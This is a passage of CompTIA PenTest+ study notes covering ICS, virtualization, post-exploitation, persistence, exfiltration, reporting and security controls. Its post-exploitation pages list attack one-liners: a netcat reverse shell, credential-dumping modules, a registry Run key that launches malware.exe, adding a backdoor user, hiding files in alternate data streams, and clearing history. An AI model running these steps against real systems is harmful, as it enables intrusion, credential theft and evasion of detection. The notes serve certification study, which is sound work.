▪ System-on-Chip are power efficient and used with embedded systems
- 132 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Fieldbus
▪ Links different programmable logic controllers together
o Ladder Logic
▪ Programming language entered into the system through the creation of a
graphical diagram used in the PLCs
o Data Historian
▪ Aggregates and catalogs data from multiple sources within an ICS by
collecting all the event generated from the control loop
- 133 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Gathers data from and manage plant devices and equipment with
embedded PLCs
▪ Vulnerabilities
● OBD-II port
● Cellular modem
● Wi-Fi network
o Modbus
▪ Gives control servers and the SCADA host the ability to query and change
configurations of each PLC over a network
▪ Modbus looks and functions differently than TCP/IP does
- 134 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Originally known as Modbus RTU and was run over fieldbus networks
- 135 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Vulnerabilities
▪ Misconfigurations
● Improper access rights or permissions
● Use of default or blank usernames and passwords
● Network exposure
▪ Injection Vulnerability
● Command Line Injection
● DLL Injection
● SQL Injections
● Virtual Environments
o Virtualization
▪ A host computer installed with a hypervisor that can be used to install
and manage multiple guest OSs or VMs
- 136 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Hypervisor
▪ Manages the distribution of the physical resources of a server to the VMs
▪ Ensure that each VM runs its own OS copy
▪ Centralized Model
● Hosts all the desktop instances on a single server or server farm
o Terminal Services
▪ A server-based solution that runs the application on servers in a
centralized location
o Application Streaming
▪ A client-based solution that allows an application to be packaged up and
streamed directly to a user’s PC
- 137 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o VM Hopping
▪ Occurs when a threat actor attempts to move from one VM to another
on the same host
▪ VM to VM
▪ Ensure guest OS and hypervisor are patched, up-to-date, and securely
configured
o Sandbox
▪ Separates running programs to mitigate system failures or software
vulnerabilities from spreading
o Sandbox Escape
▪ Occurs when an attacker circumvents sandbox protections to gain access
to the protected OS or other privileged processes
o Live Migration
▪ Migration of a VM from one host to another even while it is running
▪ VM images should be encrypted prior to being sent from one server to
another over the network
o Data Remnants
▪ Leftover pieces of data that may exist in the hard drive which are no
longer needed
▪ Always encrypt VM storage locations and ensure encryption key is
destroyed
o VM Sprawl
▪ Refers to creating Virtual Machine without proper change control
procedures
o VM Repositories
▪ A place where all VM images and templates are being stored
▪ Always make sure that the templates and images are digitally signed
- 138 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Containerization
o Containerization
▪ A type of virtualization applied by a host OS to provision an isolated
execution environment for an application
● Docker
● Parallels Virtuozzo
● OpenVZ
o Vulnerabilities
▪ When an organization crashes a physical server, all of the organizations
hosted on that same server are affected
▪ Hosting all VMs on the same type of hypervisor can also be exploited
● The hypervisor should remain patched and up to date
- 139 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Post-Exploitation Exploits
● Post-Exploitation
o Post-Exploitation Actions
▪ Any actions taken after a successful initial attack or exploit
● Host enumeration
● Network enumeration
● Infrastructure enumeration
● Additional permissions
● Persistence
● Covert channels
o Enumeration
▪ The process to identify and scan network ranges and host from a target
network and map out an attack surface
o Active Directory
▪ A central directory service that allows our information to be stored,
classified, and retrieved easily
o Get-NetDomain
▪ Get the current user’s domain
o Get-NetLoggedon
▪ Get users that are logged on a given computer
- 140 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o cat/etc/passwd
▪ List all users on the system
o uname-a
▪ Displays the OS name, version, and other details
o env
▪ Outputs a list of all the environmental variables
o Also check for any working applications between the two network segments
- 141 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Pivoting
▪ The use of one infected computer to attack a different computer
▪ Pivoting uses the compromised system to attack other systems on the
same network to avoid restrictions such as firewall configurations
o Pivoting and lateral movement are similar but distinct concepts in this section of
the course
- 142 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Mimikatz
▪ An open-source application that allows users to view and save
authentication credentials in order to perform pass the hash attacks
● post/linux/gather/hashdump
● post/pro/multi/gather/hashdump
● post/windows/gather/credentials/ domain_hashdump
● post/windows/gather/credentials/mssql_local_hashdump
● post/windows/gather/credentials/skype
● post/windows/gather/credentials/avira_password
● post/windows/gather/credentials/mcafee_vse_hashdump
o Test the usability and pass or crack them using a password attack
▪ Metasploit module
● exploit/windows/smb/psexec
● auxilary/scanner/smb/smb_login
- 143 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Hydra
▪ Medusa
o Warning
▪ Domain administrative accounts should ONLY be used to logon to domain
controllers to prevent pass the hash from exploiting your domain
o How can you detect and mitigate against a pass the hash attack?
▪ Detecting these types of attacks is very difficult because the attacker
activity cannot be easily differentiated from legitimate authentication
▪ Most antivirus and antimalware software will block tools that allow pass
the hash attack, such as Mimikatz or the Metasploit framework
▪ Restrict and protect high privileged domain accounts
▪ Restrict and protect local accounts with administrative privileges
▪ Restrict inbound traffic using the Windows Firewall to all workstations
except for helpdesk, security compliance scanners, and servers
● Golden Ticket
o While a pass the hash attack will work on local workstations, a Kerberos ticket is
needed in an Active Directory environment
o Golden Ticket
▪ A Kerberos ticket that can grant other tickets in an Active Directory
environment
▪ Golden tickets can grant administrative access to other domains
members and domain controllers
o krbtgt hash
▪ The trust anchor of the Active Directory domain which functions like a
private key of a root certificate authority and generates ticket-granting
tickets (TGT) that are used by users to access services within Kerberos
- 144 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Golden tickets allow attackers to laterally move across the entire domain
with ease
- 145 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Lateral Movement
o Attackers can use remote access protocols to move from host to host
o PsExec
▪ A tool developed as an alternative to Telnet and other remote access
services which utilizes the Windows SYSTEM account for privilege
escalation
o Windows PowerShell
▪ A task automation and configuration management framework from
Microsoft, consisting of a command-line shell and the associated scripting
language
▪ The PowerShell Empire toolkit contains numerous prebuilt attack
modules
- 146 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o RPC Decom
▪ A remote procedure call distributed component object model
▪ RPC
● An inter-process communication between local and remote
processes on Windows systems
▪ Decom
● Enables the communication between different software
components over a network
● Escalating Privileges
o Privilege Escalation
▪ The practice of exploiting flaws in an operating system or other
application to gain a greater level of access than what is intended for the
user application
- 147 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ SUID
● Set-User Identification
▪ SGID
● Set-Group Identification
● sudo find / -perm -04000
o Sticky Bit
▪ Allows users to create files, read, and execute files owned by other user
▪ enum4linux
▪ auxiliary/scanner/smb/smb_enumshares
o SUDO
▪ Allows users to run programs with the privileges of another user
o Ret2libc
▪ An attack technique that relies on overwriting the program stack to
create a new stack frame that calls the system function
- 148 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ ps –x
▪ ps -fU root
o CronJobs
▪ Scheduled tasks for Unix
o Cpassword
▪ The name of the attribute that stores the passwords in a Group Policy
preference item
o If SSL is not enabled for LDAP, credentials are sent over the network in clear text
- 149 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Kerberoasting
▪ Allows any domain user account that has a service principal name (SPN)
set can have a service ticket (TGS)
o LSASS
▪ Local Security Authority Subsystem Service
o Credentials in LSASS
▪ The process in Windows that enforces the security policy of the system
o SAM Database
▪ A database file that stores the user passwords in Windows as a LM hash
or NTLM hash
o Hijacking
▪ A technique used to load a malicious DLL in the place of an accepted DLL
o Exploitable Services
▪ Attacker uses the way services normally operate to cause an unintended
program to run
▪ Normal
● C:\Dion\My Files\server.exe
▪ Malicious
● C:\Dion\My\server.exe
▪ Using PSExec, a service can be replaced with a custom service that runs a
command shell (cmd.exe)
- 150 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Keylogger
▪ Surveillance technology used to monitor and record the keystrokes of a
victim user
o Kernel Exploits
▪ Unpatched Windows and Linux systems are vulnerable to many different
exploits
▪ Metasploit has a library of existing exploits
▪ You can attempt to bypass user local UAC (User Access Control)
● Guest accounts should be disabled
o VI
▪ A text editor that can also run commands
▪ :set shell=/bin/sh
:shell
▪ The same type of restricted environments doesn’t exist in Windows
systems
▪ /bin/bash -i
o Meterpreter Script
▪ An interactive shell you can use instead of relying on the command
prompt, PowerShell, or a bash shell
- 151 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
Detection Avoidance
● Detection Avoidance
o Domain 3: Attacks and Exploits
▪ Objective 3.7
● Given a scenario, perform post-exploitation techniques
o Backdoor
▪ A hidden mechanism that provides you with access to a system through
some kind of alternative means
o Rootkit
▪ Any kind of technology that is used to infect the system at a very low-
level using root access
● Creating Persistence
o Persistence
▪ A method that you use to maintain access to a victim machine or a
network for an extended period of time
- 152 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ user# su –
▪ user# useradd hacked
user# passwd hacked
▪ /etc/passwd
o Crontab
▪ Used by system administrators to do tasks at routine intervals inside
Linux
▪ * * * * * /path/to/command
● 45 23 * * 6 /home/user/scripts/exportdump.sh
o Task Scheduler
▪ Works like crontabs but it is used for Windows
▪ schtasks create
● schtasks /create /sc <scheduletype> /tn <taskname> /tr <taskrun>
- 153 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● HTTPD
o Http Daemon
● SSHD
o Secure Shell Daemon
▪ You can add keys using the GUI regedit or command line version
● reg add HKLM\Softyware\Microsoft\Windows
\CurrentVersion\Run /v malware /d c:\malware.exe
▪ /etc/init.d
▪ /etc/system
o Bind Shell
▪ Binds the target system to a local network port
- 154 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Reverse Shell
▪ Sets up the listener on attack machine and make the target machine
make the call out over a port
nc <IP> 443
▪ nc -lp 443
- 155 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Dropper
▪ Malware that is designed to install or run other types of malware
embedded in a payload on an infected host
o Downloader
▪ A piece of code that connects to the Internet to retrieve additional tools
after the initial infection by a dropper
o Shellcode
▪ Any lightweight code designed to run an exploit on the target, which may
include any type of code format from scripting languages to binary code
▪ Shellcode originally referred to malware code that would give the
attacker a shell (command prompt) on the target system
o Code Injection
▪ Exploit technique that runs malicious code with the identification number
of a legitimate process
o Masquerading
▪ Occurs when the dropper replaces a genuine executable with a malicious
one
o DLL Injection
▪ Occurs when the dropper forces a process to load as part of a DLL
o DLL Sideloading
▪ Occurs when the dropper exploits a vulnerability in a legitimate
program’s manifest to load a malicious DLL at runtime
o Process Hollowing
▪ Occurs when the dropper starts to process in a suspended state and
rewrites the memory locations containing the process code with the
malware code
- 156 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Tools
● PsExec
o Uses the server message block suite to issue commands to
remote systems without the need to install client software
o psexec \\<IP> -s <command path>
● PowerShell Remoting
o A command shell and scripting language built on the .NET
framework
● Data Exfiltration
o Data Exfiltration
▪ The process by which an attacker takes data that is stored inside of a
private network and moves it to an external network
▪ Data exfiltration can be performed over many different channel types
- 157 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ IoC
● Spikes in requests to a PHP files or other scripts, and unusually
large HTTP response packets
o DNS
▪ Use of DNS queries to transmit data out of a network enclave
▪ IoC
● Atypical query types being used, such as TXT, MX, CNAME, and
NULL
o Overt Channels
▪ Use of FTP, instant messaging, peer-to-peer, email, and other obvious file
and data sharing tools
o Explicit Tunnels
▪ Use of SSH or VPNs to create a tunnel to transmit the data across a given
network
▪ IoC
● Atypical endpoints involved in tunnels due to their geographic
location
o Warning
▪ An adversary could use a different channel for data exfiltration than for
command and control
o Best Mitigation
▪ Strong encryption of data at rest and data in transit
- 158 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Covert Channels
o Covert Channels
▪ Communication path that allows data to be sent outside of the network
without alerting any intrusion detection or data loss countermeasures
▪ Prevention
● Advanced intrusion detection and user behavior analytics tools
are your best option to detect covert channels, but they will not
detect everything
o Methods
▪ Covert Storage Channel
● Utilizes one process to write to a storage location and another
process to read from that location
- 159 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Linux, Unix, or OS X
▪ Create a folder beginning with a dot (.) to hide files in
o Windows
▪ System32 folder
▪ Users folder
▪ Hidden attributes
▪ Alternate data streams
● C:\ type notepad.exe > calc.exe:notepad.exe
C:\ start calc.exe:notepad.exe
o Logs
▪ Windows
● System logs
● Application logs
● Security logs
● Event logs
▪ Linux
● Usually stored in /var/logs
o Timestomping
▪ Changes the access time of a file to a time that you want as the attacker
- 160 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ touch
● Updates time to the current time
▪ ctime
● Changes the time to a given date/time
▪ Windows
● ALT+F7
▪ PowerShell
● Clear-History
● Post-Exploitation Tools
o Empire
▪ A C2 framework that uses PowerShell for common post-exploitation tasks
▪ github.com/bc-security/empire
▪ Nowadays, most Empire tools and techniques can be detected by
antivirus tools
- 161 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Mimikatz
▪ An open-source tool that is focused on exploiting Microsoft’s Kerberos
protocols
o BloodHound
▪ A tool used to explore Active Directory trust relationships and abuse
rights on AD objects
o Other Tools
▪ PowerShell
▪ VBScript
▪ Python
▪ Bash
▪ Perl
▪ Other
- 162 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Communication Paths
o Primary Contact
▪ The party responsible for handling the project for the target organization
● CISO
● CIO
● IT Director
● SOC Director
▪ The primary and secondary contacts tend to be less technical and more
focused on the business impact, governance, and oversight during an
engagement
o Technical Contact
▪ The party responsible for handling the technology elements of the
engagement from the target organization’s perspective
o Emergency Contact
▪ The party responsible for urgent matters that occur outside of normal
business hours
- 163 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Communication Triggers
o Status Report
▪ Used to provide regular progress updates to the primary, secondary, and
technical contacts during an engagement
● End of day emails
o Recent tasks
o Current plans
o Blockers
● Gate checks
o Critical Findings
▪ Occur when a vulnerability is found that could pose a significant risk to
the organization
o De-confliction
▪ Used to determine if a detected activity is a real attacker acting against
the target network or an authorized penetration tester
o De-escalation
▪ The process of decreasing the severity, intensity, or magnitude of a
reported security alert
- 164 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o False positives
▪ Use a results validation process with the trusted agent to help identify
what findings may be false positives
o Criminal activity
▪ In case of criminal activity, consult with your lawyer or legal counsel to
determine the appropriate next steps
o Goal reprioritization
▪ Realize that penetration tests are a fluid thing and priorities do change
during the engagement
● Presentation of Findings
o C Suite
▪ Refers to the top-level management inside of an organization
● How vulnerable is their organization?
● What can they do to stop those vulnerabilities?
● How much money is it going to take?
● How many people is it going to take?
● How much time is it going to take?
▪ Risk Management
● Finds ways to minimize the likelihood of a certain outcome from
occurring and to achieve the desired outcomes
- 165 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Technical Staff
▪ They’re going to be looking for details and ways that they can change
things using different operations software or security patches
o Developers
▪ They're looking for deeply technical information so they can change the
code that's runs those applications and prevent vulnerabilities from
happening
o Normalization
▪ The process of combining data from various sources into a common
format and repository
o Dradis
▪ A framework used to gather and share data and findings amongst the
penetration testing team
- 166 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Written Reports
o Executive Summary
▪ A high-level overview written for the management and executives
▪ The executive summary must have a conclusion statement
o Scope Details
▪ Reiterates the agreed-upon scope during the engagement
o Methodology
▪ A high-level description of the standards or frameworks followed during
the penetration test
▪ The methodology section also includes a brief attack narrative
o Findings
▪ A full or summarized list of issues found during an engagement
▪ The findings section will most likely cover the bulk of the report
● Findings
● Recommendation
● Threat level
● Risk rating
● Exploitation
▪ Risk Appetite
● The amount of risk an organization is willing to accept
- 167 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Risk rating
● Risk prioritization
● Business impact analysis
▪ Measure
● A specific data point that contributes to a given metric
● What to measure
o Remediation
▪ Summarizes the biggest priorities the organization should focus on to
remediate vulnerabilities
▪ This allows the organization to make educated decisions based on your
recommendations
o Conclusion
▪ Summarizes the report as a whole
o Appendix
▪ Acts as the “catch-all” section to put all other details in
● Supporting evidence
● Attestation of findings
- 168 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Common Themes
o Identify vulnerability
o Outline best practices
o Share observations
o Ensure the reports are only to be seen by those with a “need to know”
▪ Proper access control
▪ Secure encryption
- 169 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o NIST SP 800-53
▪ Access Control (AC)
▪ Accountability (AA)
▪ Incident Response (IR)
▪ Risk Assessment (RA)
● Operational Controls
o A category of security control that is implemented
primarily by people rather than systems
● Administrative Controls
o A category of security control that provides oversight of
the information system
- 170 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Detective Control
o A control that may not prevent or deter access, but will
identify and record any attempted or successful intrusion
● Corrective Control
o A control that acts to eliminate or reduce the impact of an
intrusion event
▪ Deterrent Control
● A type of security control that discourages intrusion attempts
▪ Compensating Control
● A type of security control that acts as a substitute for a principal
control
▪ None of these three technologies can provide CIA alone, but combined
they uphold the three tenets of security
- 171 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Physical Controls
o Access Control Hardware
▪ Badge reader
▪ Biometric reader
o Smart Locker
▪ A fully integrated system that allows you to keep your laptop, tablet,
smartphone, or other valuables inside
o Locking Racks/Cabinets
▪ Controls physical access to networking equipment
o Employee Training
▪ 69% ROI for SMBs
▪ 248% ROI for large enterprises
o Video Surveillance
▪ Used to figure out what happened on a certain area
● Operational Controls
- 172 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
o Separation of Duties
▪ A preventative administrative control that should be considered
whenever we’re drafting authentication and authorization policies
for the organization
▪ Split Knowledge
● When two people each have half of the knowledge for how to do
something
o Job Rotation
▪ Different users are trained to perform the tasks of the same position to
help prevent an identity fraud that could occur if only one employee
had that job
o Mandatory Vacation
▪ An employee is required to take a vacation at some point during the year
▪ Job rotation and mandatory vacations provide us the ability to cross train
our employees and develop trained personnel
● Security Training
o Used to teach the organization’s personnel the skills that
they need to perform their job in a more secure manner
o Specialized training can be developed for the organization
based on the applicable laws, regulations, and business
model
- 173 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Security Education
o Used to gain more expertise and to better manage the
security programs in an organization
● Administrative Controls
o Role Based Access Control
▪ Allows an administrator to assign roles and permissions to access each
resource
▪ This works well for organizations with a high rate of employee turnover
▪ Complexity
● Having different characters used, such as lowercase letters,
uppercase letters, numbers, and special characters
● Passwords should be between 8 and 64 ASCII characters long
▪ Password Aging
● Password aging policies should not be enforced
● Minimum Age
o Certain number of days before a user can reset their
password
▪ Password History
● Dictates the number of different passwords to be used before
using a previously used one
- 174 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
▪ Validation Testing
● Meets requirements
▪ Acceptance Testing
● Accepted by end users
▪ Other Tests
● Unit testing
● Integration testing
● User acceptance testing
● Regression testing
● Peer review
- 175 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● System Hardening
o The process by which a host or other device is made more secure through the
reduction of that device's attack surface
▪ Attack Surface
● The services and interfaces that allow a user or program to
communicate with a target system
o Any service or interface that is enabled through the default installation and left
unconfigured should be considered a vulnerability
o Patch Management
▪ Identifying, testing, and deploying OS and application updates
▪ Patches are often classified as critical, security-critical, recommended,
and optional
▪ Installing a patch can be an availability risk to a critical system that
requires the system to be rebooted
▪ Patches may not exist for legacy, proprietary, ICS/SCADA, or IOT systems
and devices
- 176 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Secure Coding
o Input Validation
▪ Any technique used to ensure that the data entered into a field or
variable in an application is handled appropriately by that application
▪ Warning
● Client-side input validation is more dangerous since it is
vulnerable to malware interference
● Canonicalization Attack
o Attack method where input characters are encoded in
such a way as to evade vulnerable input validation
measures
o Output Encoding
▪ Output encoding mitigates against code injection and XSS attacks that
attempt to use input to run a script
o Parameterized Queries
▪ A technique that defends against SQL injection and insecure object
references by incorporating placeholders in a SQL query
▪ Parameterized queries are a form of output encoding
- 177 -
https://www.DionTraining.com © 2022
Dion Training Solutions, LLC is a Platinum Delivery Partner for CompTIA. CompTIA ® is a registered trademark of the Computer and Computing Technology Industry Association.
All rights reserved. v1.0
CompTIA PenTest+
(PT0-002) Study Notes
● Implementing MFA
o Single Sign-On (SSO)
▪ An authentication technology that enables a user to authenticate once
and receive authorizations for multiple services
o Advantage
▪ User does not need multiple user accounts and passwords
o Disadvantage
▪ If the user account is compromised, the attacker has access to everything
▪ Encrypt your password when storing them and use good database
solution
● Digital Certificates
o Certificate Management
▪ Certificate Lifecycle
● Generate
o Focused on policies and processes that allow a certificate
to be requested and issued to a client or device
● Provision
o Focused on describing the different types of certificates
and the conditions under which those certificates will be
issued to a client or device
- 178 -
https://www.DionTraining.com © 2022
